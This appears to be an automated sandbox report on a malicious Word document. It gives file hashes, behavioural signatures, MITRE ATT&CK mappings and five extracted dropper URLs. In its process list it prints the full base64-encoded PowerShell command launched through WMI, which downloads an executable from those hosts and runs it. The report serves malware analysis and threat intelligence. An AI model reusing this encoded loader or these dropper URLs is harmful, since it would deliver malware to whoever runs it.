e13b9bf9d03d25fea984a5ec113277a7ee1b22941e392cc3614867c272dd3fc4

General

Target

e13b9bf9d03d25fea984a5ec113277a7ee1b22941e392cc3614867c272dd3fc4.doc
Size

160KB
MD5

1f8bfc4b4bd9efd8f6f5ffd29ec63b8a
SHA1

adbc24fed7a68f97dd1a294c91d226b63bdbc7ca
SHA256

e13b9bf9d03d25fea984a5ec113277a7ee1b22941e392cc3614867c272dd3fc4
SHA512

1b35272f31b301d4386445d089ca4bdbc5ace2eebdbc4ecb612779e46003863aaeb77e610a325e8f22033fe8fb861aa98cd3da9ca908c9380bd843907a9b17cb

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://pressuredspeech.com/dngn/cEmgNTByQ/

exe.dropper

https://phoneringtones.info/wp-content/uploads/qx93_k68trw3j-15334/

exe.dropper

http://safeservicesfze.com/wp-admin/ZmVYmAXv/

exe.dropper

https://freewallpaperdesktop.com/wp-includes/50lz_zkln03lbc-8209361/

exe.dropper

http://noingoaithatthanhnam.com/wp-admin/voytvHre/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1128	4764	powErSHell.exe	77

Blocklisted process makes network request 3 IoCs

flow	pid	Process
20	1128	powErSHell.exe
23	1128	powErSHell.exe
25	1128	powErSHell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2464	WINWORD.EXE
2464	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1128	powErSHell.exe
1128	powErSHell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1128	powErSHell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2464	WINWORD.EXE
2464	WINWORD.EXE
2464	WINWORD.EXE
2464	WINWORD.EXE
2464	WINWORD.EXE
2464	WINWORD.EXE
2464	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e13b9bf9d03d25fea984a5ec113277a7ee1b22941e392cc3614867c272dd3fc4.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2464

C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
powErSHell -e JABRADYAMgA1ADYANwAxADEAPQAnAFcAMQA3ADYANQAwAF8AJwA7ACQAcwA3ADUAXwA3ADkAIAA9ACAAJwA5ADUAOQAnADsAJAB3ADEAOQAyADYAOAAwAD0AJwBkADIANAAyADMAMwAnADsAJABuADgAMQBfADUANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAcwA3ADUAXwA3ADkAKwAnAC4AZQB4AGUAJwA7ACQAbgA3ADIAOABfADIAPQAnAGkAOAA0ADMANwBfACcAOwAkAFAAMgAzADEAOQAzAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAFcAYABFAGIAYwBgAEwAYABpAEUAYABOAHQAOwAkAEsAOAAzAF8AOAA3AD0AJwBoAHQAdABwADoALwAvAHAAcgBlAHMAcwB1AHIAZQBkAHMAcABlAGUAYwBoAC4AYwBvAG0ALwBkAG4AZwBuAC8AYwBFAG0AZwBOAFQAQgB5AFEALwBAAGgAdAB0AHAAcwA6AC8ALwBwAGgAbwBuAGUAcgBpAG4AZwB0AG8AbgBlAHMALgBpAG4AZgBvAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAHgAOQAzAF8AawA2ADgAdAByAHcAMwBqAC0AMQA1ADMAMwA0AC8AQABoAHQAdABwADoALwAvAHMAYQBmAGUAcwBlAHIAdgBpAGMAZQBzAGYAegBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAG0AVgBZAG0AQQBYAHYALwBAAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAHcAYQBsAGwAcABhAHAAZQByAGQAZQBzAGsAdABvAHAALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADUAMABsAHoAXwB6AGsAbABuADAAMwBsAGIAYwAtADgAMgAwADkAMwA2ADEALwBAAGgAdAB0AHAAOgAvAC8AbgBvAGkAbgBnAG8AYQBpAHQAaABhAHQAdABoAGEAbgBoAG4AYQBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB2AG8AeQB0AHYASAByAGUALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAdwA5ADMAOAAxAF8AOQA5AD0AJwBPADMAMQBfADQAMwAwADgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGwAMgA3ADAANwBfADQAIABpAG4AIAAkAEsAOAAzAF8AOAA3ACkAewB0AHIAeQB7ACQAUAAyADMAMQA5ADMALgBkAG8AVwBuAGwAbwBhAEQARgBpAGwARQAoACQAbAAyADcAMAA3AF8ANAAsACAAJABuADgAMQBfADUANwApADsAJAB3ADAAXwBfADkAXwBfAD0AJwB1ADYANwA2ADcAMgA2ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbgA4ADEAXwA1ADcAKQAuAEwARQBuAGcAdABIACAALQBnAGUAIAAyADAANgA5ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbgA4ADEAXwA1ADcAOwAkAHIAOQA1ADgAXwAwAD0AJwBoADUAMQA0ADAAOQAnADsAYgByAGUAYQBrADsAJABJADkANABfADEAMQAwADMAPQAnAGkAOQA2ADkAMAAzADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAZgA3ADIAMQAxADAAMAA9ACcAWgA3ADcAMAAzADAAXwAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1128-140-0x00000170AEBC0000-0x00000170AEBE2000-memory.dmp

Filesize
136KB

Download
memory/1128-143-0x00007FFEA3C10000-0x00007FFEA46D1000-memory.dmp

Filesize
10.8MB

Download
memory/1128-142-0x00007FFEA3C10000-0x00007FFEA46D1000-memory.dmp

Filesize
10.8MB

Download
memory/1128-141-0x00007FFEA3C10000-0x00007FFEA46D1000-memory.dmp

Filesize
10.8MB

Download
memory/2464-136-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download
memory/2464-137-0x00007FFE8C440000-0x00007FFE8C450000-memory.dmp

Filesize
64KB

Download
memory/2464-138-0x00007FFE8C440000-0x00007FFE8C450000-memory.dmp

Filesize
64KB

Download
memory/2464-139-0x0000029CD7170000-0x0000029CD7174000-memory.dmp

Filesize
16KB

Download
memory/2464-132-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download
memory/2464-135-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download
memory/2464-134-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download
memory/2464-133-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download
memory/2464-145-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download
memory/2464-146-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download
memory/2464-147-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download
memory/2464-148-0x00007FFE8EC50000-0x00007FFE8EC60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads